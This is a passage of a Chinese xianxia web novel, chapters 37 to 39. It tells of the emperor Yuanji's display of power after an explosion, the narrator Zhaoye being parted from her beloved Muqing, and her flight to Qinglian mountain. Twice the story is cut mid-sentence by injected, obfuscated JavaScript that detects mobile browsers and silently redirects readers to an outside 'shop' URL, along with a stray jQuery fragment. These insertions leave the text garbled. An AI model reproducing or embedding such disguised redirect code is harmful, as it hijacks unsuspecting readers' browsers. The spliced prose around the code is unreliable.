“届时仙界将彻底固化,上层永居云端,下层永堕尘埃!这样的仙界,纵能孕育几位绝世强者,可还有半分生机?与竭泽而渔何异?“渊寂转向人君舒仲,语气稍缓,“反观人间,虽无移山倒海之能,却自有蓬勃气象。凡夫俗子纵有先天差异,却可凭勤学苦读、经世致用弥补不足。寒门士子无世家荫庇,仍能借悬梁刺股之志、经纶满腹之才,通过科举鱼跃龙门。此乃人界文明延绵不绝的根基。但仙界不同!”他斩钉截铁地说道,眼神变得寒冷无比,“仙基灵根多系天命,悟性根骨强求不得。一位仙人修行所耗资源,岂是凡人可比?若无规则约束,任弱肉强食横行,绝大多数仙友恐怕连修为桎梏都难以突破,遑论窥见大道!” “果然是在映山都当过教书先生的家伙,啧,不可小觑。” “怪不得我本能讨厌他,因为我辩不过他。” 尾巴哈哈大笑,拍拍我的头,“照夜,你还太嫩了。” 那一方,渊寂的声音继续回响着,““故而仙碑榜引入支持度、仙门发展等维度,虽非尽善尽美,本意却是要在绝对力量之外,开辟更多通天之路!既鼓励仙人精进自身,亦要经营道统、惠泽同道、繁荣仙界!这或许不是最公平之法,却是目前最能避免资源垄断,给予众生希望的抉择!“ 他向前踏出一步,整个源涡池的仙力随之震荡—— “今日吾承帝位,非为权柄,实为重任。且问诸君——尔等是要一个唯力是图、阶层固化的仙界,还是愿与吾共筑一个虽存竞争却道路万千,使众仙皆可见希望、得享天地恩泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而其中最大、蕴含着最狂暴雷霆力量的几块碎片,正朝着中央那片仙灵之气几乎化为液态氤氲的——源涡池落去! “遭了,这帮废物!”尾巴用力拽住我的辫子,厉声喊道,“快跑,照夜!快!!!” 我抬腿便挤开众人向后方出口跑去,亦瞬间明白了尾巴叫我逃命的缘故!源涡池汇聚了近乎实质的高浓度纯净仙力!非同源的仙力碰撞一定会产生巨大的爆炸! 下一瞬,最令人恐惧的事情发生了。 惊慌无措中,我看到一块燃烧着刺目紫电的巨大网片,率先砸入了那旋转着、仙光莹莹的源涡池中! 轰!!!!!!! 仿佛开天辟地般的巨响猛然炸开! 极致的紫色雷光与浓郁如液态的金色仙力猛烈碰撞!雷霆的毁灭之力与源涡池中高浓度的仙力,这两种非同源的强大能量,发生了最直接、最剧烈的反应! 几乎要刺破我耳膜的滋啦声随之响起—— 一个无比耀眼、无法形容颜色的光球瞬间膨胀开来,吞噬我们所在的区域,紧接着,恐怖到极致的冲击波呈环形向着四面八方疯狂扩散! “抓紧了!“尾巴撑开的屏障在冲击波中剧烈颤动,操纵着我的身体踏着飞溅的碎石向外疾掠。这一刹之间,我将目光所及之处的所有景象记在了脑中。 涡池周边精美的玉栏仙砌如同纸糊般被碾碎、气化,整个承托灵璧城的悬浮仙岛剧烈摇晃,其上万千亭台楼阁簌簌发抖,结界亦颤抖不止明灭不定! 而那爆炸的核心,源涡池仿佛被投入了烧红烙铁的冰水,剧烈地沸腾、蒸发、扭曲!金色的仙液与紫色的电蛇疯狂交织、撕裂、湮灭,释放出一波又一波无序的仙力乱流! 浓烈的仙力雾霭和爆炸激起的尘埃混合在一起,弥漫开来,暂时遮蔽了视线,只听得其中仙力肆虐的轰鸣和人们的惊呼嚎叫。 就在这片混乱与恐慌之中,一道身影却逆势冲天而起! 正是渊寂! “照夜!!” 37. 第 37 章 打不过渊寂 就在这时,一只有力的手按住了我的肩膀,衣袖在狂风中猎猎作响。穆青穿过混乱找到了我,抬手挥开坠落的碎石,一把将我拉到断墙后的隐蔽处。 “受伤没有?”他急切的视线将我全身扫过。 尾巴适时张开屏障将我们护住,细小的碎片不断击打在光壁上。我紧紧抱住穆青的手臂,“我没事,尾巴醒了。” 四周尽是奔逃的身影,亦有仙人在乱流中救助受困的仙民。 穆青凝望腾空而起的渊寂,低声道,“照夜,仔细看。” 只见渊寂凌空而立,身形稳如泰山,目光锐利如电——仙界的结界因爆炸剧烈波动,破损处不断蔓延,更多电网碎片正如陨星般持续坠落!若再与源涡池中仙力相撞,后果不堪设想! “十身仙人!”渊寂的声音穿透轰鸣,冰冷如刃。 “十身在!” 半空中显化顶天立地的巨像,模糊面容上十张面孔交替浮现,俯瞰八方。 “百目仙人!” “百目在!” 无数流萤般的光点应声附着于巨像,顷刻间在其额心、胸膛、臂膀各处睁开百只法眼!流光转瞬,所有坠落碎片的轨迹、速度与能量强度尽被捕捉。 “千手仙人!”渊寂最后一声敕令竟指向沸腾的源涡池! 穆青紧握我的手,与我同时望去——池中的仙力轰然中分,一道扭曲的白光缠绕着无数粗壮的手臂窜了出来,下一秒,震撼心灵的景象出现了。 白光急速裹住十身的巨像,令其肩背、双臂、躯干两侧迸发惨白光芒,千条仙力凝聚的巨臂如孔雀开屏般展开,每只手掌皆如山岳!这一幕击中记忆深处——当年收服焉耆时,曾在幻象中见过与这三仙合体相似的怪物。 我心如擂鼓,顶着狂风凝视这骇人景象。 千只手臂如拥有独立意识般抓向四方。一只巨掌凌空捏碎即将砸落观礼台的碎片,电光与仙力在指间湮灭;另一只手掌轻拂间将坠向仙民的残网托至高空;更有数臂结印,在仙民观礼区上空布下屏障,挡开飞溅的乱流。 渊寂未曾出手,就那么静默伫立于空,仿佛并不存在一般。 穆青的眉头紧锁,难以置信地望着眼前景象。他从未见过如此阵仗,更令他心惊的是——渊寂自始至终都未曾出手。 那人只是静观沸腾的涡池,仿佛在等待仙力自然平息。 参与作乱的仙人们早已魂飞魄散,试图趁乱遁逃,却发觉云啼率领的仙军早已封锁四方去路。 雷枢仰望着千手挥动的巨像,望着被严密守护的仙民,最后看向始终从容不迫的渊寂,脸上血色尽褪,只剩彻底的绝望。他或许终于明白了,他始至终都低估了这位新帝。 而我们,又何尝不是。 “糟了!焉耆还在客栈!“ 穆青闻言色变。而尾巴顿时惊叫,“妈呀,我才睡了几天,你们两个笨蛋居然把那个笨狗带过来了?!它虽然厉害,可它——笨得令人发指啊!干嘛带它一起来!饿不死!” 话音未落,一头漆黑巨兽从天而降,猛地咬住十身仙人的一只手臂,嚼一嚼便囫囵吞入腹中,仙力碰撞下,竟在它肚子里发出嘭的一声,随即,那仙力便被它消化了! “嗷呜——“ “戒备!有妖兽入侵!“ 穆青轻按我的手,身形如电掠出,挡在焉耆与千手之间。 受到惊吓的焉耆仰天咆哮,二话不说张开嘴便要咬向渊寂,未等穆青反应,一股无形巨力已将焉耆狠狠击飞! “还愣着做什么?自己的狗自己管!走!“ 尾巴用力踹了我一脚,紧接着便拽着我飞向焉耆。 我一头撞在了焉耆头上,只见它被激怒,全身的墨汁如飞溅的沸水四溅。我惊慌失措地抚摸着它,大声喊道,“别怕焉耆,我没事,焉耆!冷静!!” 就在这一刹之间,我寒湿的后背感受到一阵熟悉的风。 继而,熟悉的触觉碰到了我的肩膀。 几乎是瞬间便移动到了我的身后,速度快到肉眼无法捕捉。 “你是,照夜。” 我惊恐万分回过头去,他身后,穆青已发起攻击,双目欲裂。 “照夜!!” 四只巨掌瞬间钳住穆青四肢,仿佛下一刻就要将他撕裂。我脑中嗡鸣,下意识一手按住焉耆,另一手扯住渊寂衣袖。 “放开小青!“ 渊寂眼中掠过一丝玩味,朝身后虚象微微摆手。穆青挣脱束缚跃至我身前,将我严实护住。 尾巴贴在焉耆额间怒喝,“笨狗冷静!照夜没事,快变回来!“ 焉耆委屈地呜咽着,却仍顺从地匍匐在地,身形渐缩。 卫戍司仙军顷刻合围,云啼拱手禀报,“师尊,人君已安置于仙宫别院,雷枢等逆党尽数擒获。只差——“她目光扫过我们,“这几人。“ 我回头看去,振岳,方有之以及翎波亦现身,皆死死锁盯着面前衣衫未乱的渊寂。 “青莲,为何不召法器现世?” “……未得仙帝诏令,不敢僭越。” 渊寂闻言轻笑,眼尾弯出细纹。他环视满目疮痍的源涡池,语气淡然,“怎么,不想追问煌木之死的真相了?” “渊寂!煌木死前托梦于我,他死于他人之手,这仙界除了你,恐怕没人有这个本事暗算煌木!” 听到振岳爷爷的指控,渊寂始终一副云淡风轻的模样,他揉碎空中漂浮着的零碎的电网残渣,说道,“将我的战力与他相提并论么……虽是质问,但我并不反感你的结论。只不过,你想多了振岳,数百年来,对于我的恳请,煌木从未迎战。何况灵枢仙人的解梦潭亦给出了你们答案:所谓托梦,纯属子虚乌有。” 方有之突然仰天大笑,啐道,“满口胡言!” “放肆!”云啼厉声呵斥,“仙帝驾前岂容无礼!” “哪儿来的黄毛丫头?”方有之醉眼斜睨,“爷爷们沙场饮血时,你还是个裹着尿布的娃娃,何时轮得到你说话!” “你!”云啼面染霞色,若非渊寂抬手制止,早已拔剑相向。 “渊寂,别顾左右而言他,煌木身患何疾?因何暴卒?此等大事竟授意承御厅秘而不宣,岂不令天下生疑!” “……看来诸位还是想追问煌木的死因。也罢,你说得对有之,一味隐瞒只会令众仙猜忌离心。”渊寂看着远处受缚的雷枢及其同伙,语气中夹杂着一股难以察觉到轻狂,以至于我的脸颊感受到了一股熟悉的风,这股风无影无形,只有他出现时才会触到我的肌肤。 冰冷的,带着一抹贪婪的抚触。 “煌木并非因病而故,也非死于他手,先帝他——死于自尽。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549503|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“荒唐!”翎波失声惊呼,“煌木怎会……”反驳骤止,她突然怔在原地,朱唇轻颤,仿佛忆起什么尘封往事。 “白翎,你精研医理,又曾随侍先帝左右,当年仙魔之战后的情形,你应当最清楚。”渊寂的视线落在我身上,缓缓道,“煌木当年迎战魔皇阿戈里亚斯,被其自爆时迸溅的毒雾所伤。那黑色酸液如跗骨之蛆,日夜蚀骨灼心,无药可解。自那时起,他便时常沉眠或闭关,以缓痛楚。” “小波?此言当真?”方有之和振岳震惊地看着女子,后者缓缓低下头去,似是印证了这样的真相。 “堂堂仙帝因不堪痛楚而自尽,若传扬出去,仙界颜面何存?”渊寂负手踱步,目光仍锁在我脸上,“照夜,你与魔皇相交甚密,应当最清楚那黑雾的厉害,不是么?” 我此刻有些困惑了,钩星的黑雾我已近距离接触过无数次,触手微凉但仔细感受之下又很温暖,甚至可以用来当被子盖,那黑雾竟然是——酸液? 穆青将我汗湿的手紧紧攥在掌心,面沉如水,“照夜不通晓这些旧事,仙帝不必将她牵扯进来。无论过去、现在,还是将来。“ “青莲,纵使你百般否认,事实也不会改变。“渊寂目光幽深,“无论照夜是否归来,都印证了魔皇对她用情至深。这一点,你心知肚明。“ “卑鄙!“翎波执扇直指渊寂,秀眉因嫌恶而紧蹙,“人家小两口的情事,何须你多舌!照夜与青莲两情相悦,任他魔皇如何痴缠也是徒劳!况且——与你何干!“ “喂喂喂,挑拨这两小孩儿之间的感情,你未免太闲了渊寂!” “住口,方有之!你竟敢直呼仙帝仙名!你,你们这些逆贼,眼中可还有仙帝,还有仙界?!”云啼怒斥众人,再也忍耐不下去,拱手请命道,“帝君,这群狂徒纵容妖兽扰乱仙界,其心可诛!请准臣等将其押送地刑司严惩!” 我紧紧搂住还在冲渊寂狂吠不止的焉耆,强忍着恐惧,低声道,“我没管教好坐骑,我甘愿受罚。仙规我背得滚瓜烂熟,未得许可随意在灵璧城骑行飞兽,首次罚款两万利衡币,我会立刻去仙碑司缴纳,一分不少。” “哼,老子不服,原本这小家伙在客栈乖乖睡大觉,若非大典出了这么大动静惊吓到它,又怎会受惊跑来!”振岳声如洪钟道,“休想敲诈一个子儿!” “好了,诸位。”渊寂再次打断了云啼,和颜悦色道,“今日之事就此作罢。卫戍司、天工司、地刑司尚有要务待理,毕竟还有这么大个烂摊子。振岳,你有振岳搬山之能,又熟知建筑构造,留下来协助天工司。有之,或有雷枢逆党同伙潜藏在城中,今日百目消耗巨大,法眼暂时无法彻底恢复,便由你带领卫戍司搜索盘查。白翎,今日受伤仙民便交给你,即刻前往仙碑司协助救治。” 一时间,三位仙人竟然无法驳斥拒绝,只能暂时离去。 源涡池中便只留下了我与穆青,还有嗷嗷叫的焉耆以及死死贴在它脑门上的尾巴。 “青莲,“渊寂仰首望向裂隙斑驳的结界,“如今可用之上仙寥寥,仙力如你这般精纯者更是凤毛麟角。修复结界需你相助,这段时日便暂居仙宫。至于照夜——可往竹山小住。我想你们二人,也许正需分开冷静冷静。” 穆青牙关紧咬,半晌终是垂首,“遵命。“ 一场惊变,在暮色四合时暂告平息。 38. 第 38 章 鲛人芳光 竹山深处,飞瀑如练。 我在清冽的瀑水中洗净一身尘垢,换上从客栈送来的干净衣裳。想到穆青离去时紧抿的唇角,心头便像压了块巨石。如今被渊寂强行分隔两地,当真糟得不能再糟。 尾巴抖落一身水珠跃上我肩头,压低声音道,“渊寂这手离间计着实阴险。钩星若强留你,便是占有欲作祟;若放你归来,又成了情深似海愿意割爱。无论如何都能在青莲心里种下芥蒂。啧啧啧,真是用心险恶的一步棋。他这个家伙,就是想离间你们。” 我恼他还在说风凉话,一把将他揪下来在指尖蹂躏。这团光非但不挣扎求饶,反而发出惬意的轻颤,多少有点大病,“你有本事在这里看热闹,不如去把渊寂的嘴巴缝上!” “……啊?我去?真的假的。” “你说小青是不是真的生气了?” 尾巴轻笑,“世间男子听闻心上人被他人觊觎,有几个能心如止水?他今日被当众点破此事,自然郁结难舒。“ 我懊恼得几乎要揪头发,“早知谷阿翁当日是带钩星来相亲,我真是打死都不会给他们开门。” “要不,回头去找钩星,嘿嘿,我正好奇他见你这样,是否还会动情。” 我一把将尾巴捏在手里拍成一张饼,见他直挺挺躺在我手心,我的懊恼一下子又淡了下来,“我只要小青,只要他。” “肉麻死了,你等他冷静两天,说不定他想通了就会来接你。毕竟,有人喜欢你这件事,你作为当事人又没法控制。” 愁思如藤蔓缠绕,听着尾巴唠唠叨叨的声音,我逐渐困了,蜷在床上呼声大作,直到有人用力将我晃醒。 来者是仙碑司的仙吏。因违反坐骑管制令,焉耆暂时被收容在云南门停泊场看管。前来将焉耆擒走的仙吏甚至叫我抽空赶紧去仙碑司缴纳罚款。 我瘫在榻上只觉呼吸困难,气得指尖发麻。尾巴悄无声息伏在我心口,生怕触了霉头。 此行本就没带多少盘缠,经历那场混乱后钱袋更不知遗失何处,哪来的两万利衡币? 在竹山困守七八日后,我终于闲得要发疯了。可如今出门都有些困难,竹山地形复杂不说,走哪儿都被人盯着,我简直如同被软禁了一般。 这时清晨,我终于受不了,对着门外哭喊要求面见仙帝。侍女无奈通传,不多时便见熟悉的身影负手而来。 竖瞳冰冷的溟牙在院中踱步,阴鸷的目光不友好地将我反复打量,半晌他才道,“仙帝日理万机,岂是你能随意求见?若非青莲尚有用处,你早该打入天牢。“ “不见仙帝也罢,我要见小青——青莲仙人!如今我身无分文,缴不出罚金,焉耆就要一直被扣在云南门。若它饿极了伤人......“ 溟牙袖子里掉出一截蛇首,黝黑发亮的蛇吐着信子盯着我。不怀好意抚摸着蛇头,男人漫不经心道,“青莲日日陪着凤琤公主,哪儿有空搭理你。” 我心中一惊,凤琤公主,谁? 未待我追问,溟牙已悠然踱步,袖中蛇首仍死死锁定我的身影。“凤琤公主乃仙帝独女,倾慕青莲已有二十年。怎么,你与他这般亲近,他却从未提及?“ 惊雷在胸腔炸开,震得我四肢发麻。 溟牙俯身逼近,吐息如毒蛇吐信,继续道,“这倒也不稀奇——毕竟公主至今都不知世上有个照夜。如此看来,你在青莲心中分量几何,不言而喻。“他轻蔑地扫过我周身,“尤其以你现在这般模样,与公主堪称云泥之别。奉劝你好自为之,莫要自取其辱。“ 这些话盘桓在我耳畔,如惊雷,如巨浪,将我掀翻在地打得找不到方向,直到溟牙离开,我仍旧无法挪动沉重的步伐。 尾巴小心翼翼蹭到我胸前,光晕化作两个小窝,接住我簌簌落下的泪珠,安慰道,“啧,别哭呀,兴许这条毒蛇夸大其词了,那什么凤琤公主兴许并没那么好看。” “那为什么小青从来没告诉过我有人钦慕他已久。”我只觉得心里委屈至极,只恨自己那些年躲在青莲山不问世事,更恨自己对穆青的了解越来越少。 “……” 见尾巴沉默不言,我越哭越厉害,干脆趴在枕头上嚎啕大哭,尾巴急得抓耳挠腮——一团光为何会有这么鲜活生动的动作。 “哭也没用,到时候方面质问青莲呗!” “若换作是你,会因何隐瞒?“ 尾巴的光晕骤然凝滞,他捧着我的脸,声音里带着迷惘,“我不知道...我只是个尾巴,我连躯体都没有。” “你也是一只可怜的尾巴。”我捧着尾巴,任眼泪打湿枕头,任难过淹没意识。 我原本很喜欢回忆与穆青的过去,可现在,我却有些害怕翻开记忆的封面,属于穆青的过去,也许很多时候并没有我的存在。 又消沉了两日,我茶饭不思,无精打采,终日坐在瀑布下发呆,婢女见我数天粒米未进,话也不说,有些担心我的精神状态。这日她在白竹深处找到我,一直怯生生的模样成为了我对她最深的印象。 “真不吃么。” “除非让我出门,我才吃。” 名叫安宁的婢女竟然噗嗤一声笑出声,又将一篮子各式仙果推到我面前,“如今城中纷乱未平,云啼将军特意嘱咐不得放您出行。这怕是仙帝旨意,还请您莫要违逆。“ “我怎么没看到云啼来?” 安宁歪着头想了想,指着身边的一大片竹林道,“因将军每次来,凤琤公主都会跟着,不叫你们见面,兴许也是仙帝的意思呢。” “凤琤公主长什么样儿?” 安宁掩嘴笑着,示意我吃点东西,不免得出了岔子她不好交差。见我吃起了仙果,安宁开始了对凤琤的描述。 可就在她刚开口道出一句话来,我的心便凉的彻底。 凤琤的母亲是鲛人,而她亦继承了鲛人的血统。 鲛人一族生活在仙界极南之地,《鲛人志略》里详细记录了这个古老神秘的种族。 南海之极,有云霭林渊,仙族鲛人栖巨木「澜歌」之上。其木参天,枝若虬龙,叶化晶玉,云涛绕其冠如海。 族众皆貌殊绝,肤凝月辉,眸含星瀚,青丝垂瀑间生灵光。耳缀鳞纹,指存微蹼,动若浮云游羽。善歌,声动可引草木生发;泣珠落处,凝为「树泪仙珏」,能愈百疴。 其民与木同息,通感树脉,驭云为舟。性灵净,不涉外务,唯守圣木于南极。 有圣女芳光,行步生辉,顾盼流霞,见者皆谓,「得窥澜歌遗韵矣。」 也就是说,凤琤有鲛人血统,她的外貌绝非常人可比,换句话说,她与第一美人素雪绝对不分伯仲,直白点说,我没有一丝胜算。 就在我大为震惊之时,安宁告诉了我最后一个重磅消息,令人无法“安宁。” 十六年前,穆青初入金珠仙列时,渊寂便已有意将凤琤许配于他。而这件事,除了我,无人不知。 恍惚间,赤羽昔日的劝诫在耳畔响起。他曾说穆青早已改变,再三劝我离去。 难道是指这种事么。 失神间,仙军奉旨而至,仙帝召见。 乘飞鸟掠过灵璧城上空,仍可见爆炸留下的疮痍。天工司正组织重建,对凡人工匠而言,这恰是获取仙籍的良机——想必云南门外此刻已挤满了各路巧匠。 嵊风殿高踞仙宫之巅,千级璇玑阶蜿蜒而上,通往的并非凌霄宝殿,而是一方幽寂之地。 尽头处,黑沉如陨星的「坐忘矶」巍然矗立。此处虽是仙帝清修之所,却无半分仙家气象,唯有千年风霜在石纹间刻满沧桑,斑驳苔藓如星图暗生。 岩顶孤松虬曲盘结——相传乃太初僊亲手所植。当年他踏云至此,见岩顶空寂,笑叹,高处甚寒,当有故友相伴。随即将随身带着的筇杖插于石缝,化作此松。 松枝常悬一盏素纱灯,灯内非烛火,而是太初僊封存的一缕凡间炊烟。 我踮脚细看灯盏,其中空空如也,凑近轻嗅,也并没有什么炊烟味道。尾巴趴在我头顶,嘲笑我是个书呆子,谁会把书上的内容全然当真。 我有些不服气,左右观察着这盏素纱灯,企图发现其中蹊跷。 忽而熟悉的气息自身后袭来,我本能转身,恰见渊寂如鬼魅般现身。这次我反应及时,他伸出的手臂未能触到我的肩膀。 略有些意外,渊寂只是不动声色收回手,抬眼看向素纱灯,“并非旧物,每过一段时间便会有人前来更换。毕竟,大家都喜欢故事里的那一盏灯。” 我身体臃肿沉重,不像过去一般可以从石头上跳下来,这会儿只能缓 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“凤琤不谙世事,初见便对青莲一见钟情,自那时起便茶饭不思,郁郁难安,她从小便没有母亲照拂,见她为情所伤至此,我身为父亲心中亦很难过。照夜,若是你的话,会理解吧。” “你不会信了吧笨蛋照夜!!”尾巴急切的声音就在耳畔,几乎要洞穿我的鼓膜。 “仙帝,难道不是因为你想以此控制小青为你所用么,虽他成仙最晚,性格散漫桀骜不驯,三番两次顶撞鸿珠仙引来上仙不满,可他很强,哪怕无法跻身仙人口碑榜,无法保持上仙位阶,但是不可否认他天赋出众,战力极高,更别说他还不到百岁,潜力无限,那日你虽然信誓旦旦义正言辞,却也难以否认雷枢所言正中要害:上仙百花齐放各有所长,却唯独缺少可堪大用的战士!哪怕是人君,也会区分文武之道各育其才,才不会致使左腿右脚高低不同,跌跌撞撞。” “……” 我迎着渊寂审视而冰冷的目光,在尾巴的呆滞怔愣中继续说道,“你所作所为皆为自己,何必口口声声言必称为了女儿,小青喜欢的人是我,你再如何使坏强迫也没用!” 渊寂听着,唇边浮起高深莫测的笑意。他起身俯瞰绕岩流云,轻声道,“不想照夜竟有洞悉人心之能。也罢,或许唯有让你亲眼见证,方能领悟这世间的虚伪荒唐。” 祥云载着我和渊寂向着郊外飘去。高处风急,纵使我如今体态丰腴,也只能勉强在云头站稳,而渊寂却如磐石般岿然不动,连衣袂都未曾被风吹乱半分。 不过片刻,我们便来到一处密林。 只见林中矗立着一株笔直参天的奇树,丝绦般的枝条垂落如瀑,在夜风中漾起层层翠浪。更令人惊叹的是,整棵树自根系到叶梢都流转着莹莹碧光,仿佛有源源不绝的仙力在脉络中奔涌,在暮色中焕发出惊心动魄的光华。 “这便是澜歌树。”渊寂的声音似远似近,“鲛人一族世代供奉的圣木,能以鲛人之泪净化仙力。其叶如晶,可愈万疾。” 我有些惊诧,原来这就是传说中的澜歌树,当然,这并非母株,即便如此也足够震撼人心。 正当我凝神细观时,目光忽然定在树下——一个再熟悉不过的身影正闭目端坐,掌心青辉流转,源源不断流向另外一侧。 流向另外一侧的女子。 那女子容貌之美难以描摹,眉宇间凝着淡淡的轻愁。最令我心惊的是,她周身散发的仙力竟与穆青同色,两股青光如藤蔓相绕,浑然一体。 “呃……他们是在共鸣么。”尾巴大为震惊,但他随即补充道,“原来如此!煌木所设的结界,唯有与他同源的仙力方能修补。其他仙力若强行注入,反而会相互湮灭。故而需借澜歌树净化提纯……” 细看之下,澜歌树的根系如晶莹的脉络深入大地,每一片树叶都似翡翠雕琢,在夜色中自发清辉。 穆青与凤琤相对而坐,两人周身被柔和的青光笼罩,那光芒并非静止,而是如呼吸般明灭流转。无数光点从澜歌树的枝叶间洒落,宛若星雨,将他们的身影笼罩在梦幻的光晕中。 最让我心口发紧的是,他们的仙力交融得如此自然,仿佛本就是一体。 青色的流光在两人之间循环往复,时而如溪流潺潺,时而如春潮涌动。就连他们周身的气息都渐渐同步,一呼一吸间,竟似浑然天成。 39. 第 39 章久违的牧狸 我怔怔望着树下那对身影,心如刀绞。那曾经只为我流转的青色仙力,此刻正与另一道倩影水乳交融。这般毫无滞碍的共鸣,若非心意相通,又怎可能轻易实现共鸣。 “照夜,现在可看清自己的处境了?”渊寂俯身在我耳畔低语,声音冷若寒泉,“你既曾与魔皇共鸣,不会不知所谓共鸣,与交合无异。” 我浑身一震,难以置信地望向渊寂。那双深邃眼眸中不见半分温度,仿佛在审视一件死物。 他轻抬起我的下颌,鼻息近在咫尺,“没有了青莲,你起码还有钩星,照夜,我想——你可以走了。” 云南门,人满为患。 不少人大包小包带着行囊等待登记落印放行,就连停泊场也异常拥挤。 远远便听到焉耆的吼叫声,它不断左扑右咬驱赶着企图侵占它领地的其他坐骑。管理员对着我好一通抱怨,说这狗没日没夜狂吠不止,巡逻的八名仙吏无一幸免都被咬了屁股。 “好了好了,这点损耗去向仙碑司报告即可。他们不会再来了。”奉命送我离开的溟牙摆手打发了管理员,后者称呼他为大人,忙不迭先行退下。 我抱起委屈巴巴的焉耆便要走,又被这魔族的家伙叫住。 “还有何事!不会还想讨罚金?我身无分文!连小青都让与你们了,还想怎样!” “算你识抬举,这些年为保住青莲的位阶,公主不知耗费多少心血打榜。如今总该有些回报。”溟牙撇撇嘴,企图凑近我,险些被焉耆一口咬掉鼻子,于是便连忙离远了一步,“啧,管好你的狗!除了吃就是叫,简直一无是处!” 我一听这话,火气立刻窜上脑门。 尾巴亦被激怒,抓着我的辫子挥舞着“拳头”大叫,“狗东西竟敢瞧不起这上古神兽,照夜!给他点颜色瞧瞧!!” 我脑子一热,大喝一声,“焉耆——化形!” 霎时间墨浪滔天,小黑犬身形暴涨成碧眼巨兽。它仰天长啸,飓风将溟牙掀飞得无影无踪。 焉耆用皮毛将我裹紧,纵身跃入云端,只在灵璧城上空留下一圈破碎的云洞。 只约莫过了一刻钟,焉耆降落到目的地,我望着眼前熟悉的牌坊,鼻尖发酸。 青莲山——竟又回到了这里。 缩回原形的焉耆摇尾如风车,得意地蹭着我的裙角,似乎很得意自己洞穿了我的小心思。我俯身抱起这黑漆漆的小狗,心里有三分欣慰:善解人意的小狗。 夜色中的青莲山荒草萋萋。我摸黑沿山道前行,打算到山顶再作歇息。 想来这贫瘠山峦应当还未分配他人——虽说毗邻琉璃渡□□通便利,但正如雷枢所言,此处仙力稀薄如荒漠。强如穆青当年在此清修,也需借琼池密洞隔绝外界,才能清楚感知稀薄的仙力流动。 这大概便是青莲门始终门庭冷落的缘由。就好比追随赤羽可锦衣玉食,谁愿陪穆青在此餐风饮露? 推开青莲山厚重的大门,锈蚀的门轴发出刺耳的吱呀声,在这万籁俱寂的夜色中格外瘆人。焉耆那双泛着幽绿光芒的眼睛在黑暗中犹如飘忽的鬼火,平添几分阴森。 幸而有尾巴散发着柔和的光晕为我照亮前路,心中才稍感安稳。 行至琼池畔,往昔与穆青在此独处的记忆如潮水涌来。我压下心头烦闷,决定前往池底密洞过夜——至少那里安全无虞。正欲启动机关,身后林间突然传来异响。 焉耆如离弦之箭般窜出,惊起宿鸟纷飞。我急忙与尾巴追上前去,只见黑暗中焉耆已死死咬住一人的脚踝,痛得对方连声惨叫。 电光火石间,尾巴格开从暗处劈来的利刃,将偷袭者狠狠甩出,反手夺下的钢刀已抵住对方咽喉。 “照夜!是我啊!“ 我瞪大双眼,拎起焉耆,凑近那个抱着脚踝蜷缩在地的女子。借着尾巴的光芒,看清那张沾满尘土的惊恐面容——竟是久违的牧狸! “天哪,小狸!怎么是你?“ 女子“哇“地哭出声,扑进我怀中抽噎不止。另一旁受伤的男子压低嗓音厉喝,““小声!你会引来追兵!” 琼池,月下。 随着机关转动,两道铁门缓缓升起,池水向两侧分开,露出布满青苔的石阶。我踉跄着滑倒两次,差点把门牙磕掉。 打开了密室门,一处干燥整洁的洞府呈现眼前,这儿便是青莲仙人修仙的秘境了。 点了长明灯,我翻找出纱布和药粉递给牧狸,她连忙给那同样一身狼狈的陌生男人包扎伤口。 尾巴跳到高大的书架上好奇地“看”着穆青和我的藏书,似乎很是惊讶。 也对,整个琼池地底的密洞里放满了各式各样的书和画册,足有十数万本。 “天呐,这本书怎么在你这里!”尾巴抽出一本叫《太愚行记》的古书,惊呼着迅速从前至后翻了一遍,“这可是孤本,收纳在典藏司内,怎么会出现在你们家里。” 我有些得意地笑道,“那是当然,小青每到一处,见到我可能喜欢的书册都会顺手带回来,他对我可好了。” “……原来这看似老实的家伙竟然会为了你偷仙帝的书。” “什么嘛,典藏司有几百万册书,少一本……仙帝不会生气的。” 与尾巴闲聊的功夫,牧狸已经给那男人的伤大致处理好了。她踟蹰地上前来,将我看了一遍又一遍,终于还是问出了那个问题:你怎么胖得这么离谱。 思及往昔,便不知从何说起才好。 因跟在飞逍身边,牧狸其实知道我没死。之前我和穆青住在竹山时,她便想来找我,只是碍于飞逍的控制,她根本没有出门的自由。 说到这里牧狸神色黯然,虽她如愿与自己心仪已久的男人在一起了,但却过着人不人鬼不鬼的日子。 只因那飞逍不仅风流无度来者不拒,对她动辄拳打脚踢肆意发泄,她实在受不了了才决意逃跑。原想趁仙帝登位大典飞逍有公务在身趁机逃走,却不想碰上了雷枢叛乱,然后她就在混乱中遇到了角落里这个男人。 未生——雷枢的弟子之一,也是这次叛乱的参与者。 当天他负责安排撤退,谁料三鸿珠仙突然合体,以绝对力量镇压了全场。他不得已带伤仓皇逃出,半路遇上了同样在躲藏的牧狸。两人结伴逃出灵璧城,为躲避追捕,才藏进了这人迹罕至的青莲山。 女人低声啜泣,男人无奈叹息,焉耆早已呼呼大睡,只剩下我和尾巴面面相觑,心情复杂。 我本来只想找个没人的地方好好伤心一场,谁知竟撞上这么一桩事。这下好了,我心里好像也没那么伤心了,甚至,可以神思敏捷提出质疑:当日卫戍司将整个灵璧城围得像铁桶一般,他们如何逃出。 未生对我很是戒备。他毕竟是修仙之人,大概能感觉到尾巴非同寻常——不仅是由高度凝聚的仙力构成,还能脱离我自主行动并发起攻击。 这实在不可思议,闻所未闻。 “照夜是好人,绝对信得过!”牧狸赶忙打圆场,“未生大哥,我们现在同是落难人,还是坦诚些好。她虽然有点特别,总爱收集些稀奇古怪的东西,但……她真的是个好人。” 未生重伤在身,脸色灰白,想到眼下处境,长长叹了口气,“我们是从地刑司外侧的一条地道逃出来的。” 